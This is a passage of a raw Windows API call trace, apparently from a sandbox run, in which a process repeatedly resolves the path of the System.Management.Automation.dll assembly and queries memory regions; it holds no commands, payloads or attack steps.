lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.593] GetLastError () returned 0x0 [0075.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.593] GetLastError () returned 0x0 [0075.593] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xa4e069e, Data2=0x790, Data3=0x480d, Data4=([0]=0xb3, [1]=0x52, [2]=0x3b, [3]=0xc3, [4]=0x65, [5]=0xf1, [6]=0x4e, [7]=0x4d))) returned 0x0 [0075.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.593] GetLastError () returned 0x0 [0075.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.593] GetLastError () returned 0x0 [0075.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.593] GetLastError () returned 0x0 [0075.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.593] GetLastError () returned 0x0 [0075.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.593] GetLastError () returned 0x0 [0075.594] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.594] GetLastError () returned 0x0 [0075.594] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.594] GetLastError () returned 0x0 [0075.594] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.594] GetLastError () returned 0x0 [0075.594] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.594] GetLastError () returned 0x0 [0075.594] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29db20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.594] GetLastError () returned 0x0 [0075.594] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.594] GetLastError () returned 0x0 [0075.594] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.595] GetLastError () returned 0x0 [0075.595] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.595] GetLastError () returned 0x0 [0075.595] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.595] GetLastError () returned 0x0 [0075.595] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.595] GetLastError () returned 0x0 [0075.595] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.595] GetLastError () returned 0x0 [0075.595] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.595] GetLastError () returned 0x0 [0075.595] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.595] GetLastError () returned 0x0 [0075.596] VirtualQuery (in: lpAddress=0x29cf94, lpBuffer=0x29df94, dwLength=0x1c | out: lpBuffer=0x29df94*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.597] VirtualQuery (in: lpAddress=0x29cfd0, lpBuffer=0x29dfd0, dwLength=0x1c | out: lpBuffer=0x29dfd0*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.597] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.597] GetLastError () returned 0x0 [0075.597] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.597] GetLastError () returned 0x0 [0075.597] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.597] GetLastError () returned 0x0 [0075.597] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.597] GetLastError () returned 0x0 [0075.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.598] GetLastError () returned 0x0 [0075.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.598] GetLastError () returned 0x0 [0075.598] VirtualQuery (in: lpAddress=0x29d300, lpBuffer=0x29e300, dwLength=0x1c | out: lpBuffer=0x29e300*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.598] GetLastError () returned 0x0 [0075.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.598] GetLastError () returned 0x0 [0075.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.598] GetLastError () returned 0x0 [0075.598] VirtualQuery (in: lpAddress=0x29d300, lpBuffer=0x29e300, dwLength=0x1c | out: lpBuffer=0x29e300*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.599] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.599] GetLastError () returned 0x0 [0075.599] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.599] GetLastError () returned 0x0 [0075.599] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.599] GetLastError () returned 0x0 [0075.599] VirtualQuery (in: lpAddress=0x29d300, lpBuffer=0x29e300, dwLength=0x1c | out: lpBuffer=0x29e300*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.600] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.600] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.601] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.601] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.602] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.602] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.602] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.602] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.602] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.602] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.604] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.604] VirtualQuery (in: lpAddress=0x29d13c, lpBuffer=0x29e13c, dwLength=0x1c | out: lpBuffer=0x29e13c*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.604] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.608] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.608] VirtualQuery (in: lpAddress=0x29d298, lpBuffer=0x29e298, dwLength=0x1c | out: lpBuffer=0x29e298*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.609] VirtualQuery (in: lpAddress=0x29d2d4, lpBuffer=0x29e2d4, dwLength=0x1c | out: lpBuffer=0x29e2d4*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.609] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x750130fe, Data2=0xa926, Data3=0x4147, Data4=([0]=0x93, [1]=0x84, [2]=0xdb, [3]=0x6e, [4]=0x33, [5]=0xdf, [6]=0xd3, [7]=0x6b))) returned 0x0 [0075.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.609] GetLastError () returned 0x0 [0075.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.609] GetLastError () returned 0x0 [0075.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.609] GetLastError () returned 0x0 [0075.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.609] GetLastError () returned 0x0 [0075.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.609] GetLastError () returned 0x0 [0075.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.610] GetLastError () returned 0x0 [0075.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.610] GetLastError () returned 0x0 [0075.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.610] GetLastError () returned 0x0 [0075.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.610] GetLastError () returned 0x0 [0075.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29db20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.610] GetLastError () returned 0x0 [0075.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.610] GetLastError () returned 0x0 [0075.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.610] GetLastError () returned 0x0 [0075.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.610] GetLastError () returned 0x0 [0075.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.610] GetLastError () returned 0x0 [0075.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.610] GetLastError () returned 0x0 [0075.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.611] GetLastError () returned 0x0 [0075.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: 